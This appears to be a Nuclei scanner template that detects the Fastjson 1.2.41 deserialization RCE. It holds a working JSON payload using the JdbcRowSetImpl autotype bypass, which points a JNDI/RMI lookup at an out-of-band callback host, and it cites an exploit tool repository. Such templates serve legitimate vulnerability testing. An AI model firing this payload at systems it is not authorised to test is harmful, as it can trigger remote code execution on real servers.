id: fastjson-1-2-41-rce info: name: Fastjson 1.2.41 Deserialization RCE author: zh severity: critical reference: - https://github.com/tdtc7/qps/tree/4042cf76a969ccded5b30f0669f67c9e58d1cfd2/Fastjson - https://github.com/wyzxxz/fastjson_rce_tool tags: fastjson,rce,deserialization,oast requests: - raw: - | POST / HTTP/1.1 Host: {{Hostname}} Content-Type: application/json { "@type":"Lcom.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://{{interactsh-url}}/Exploit", "autoCommit":true } matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms DNS Interaction words: - "dns" - type: status negative: true status: - 200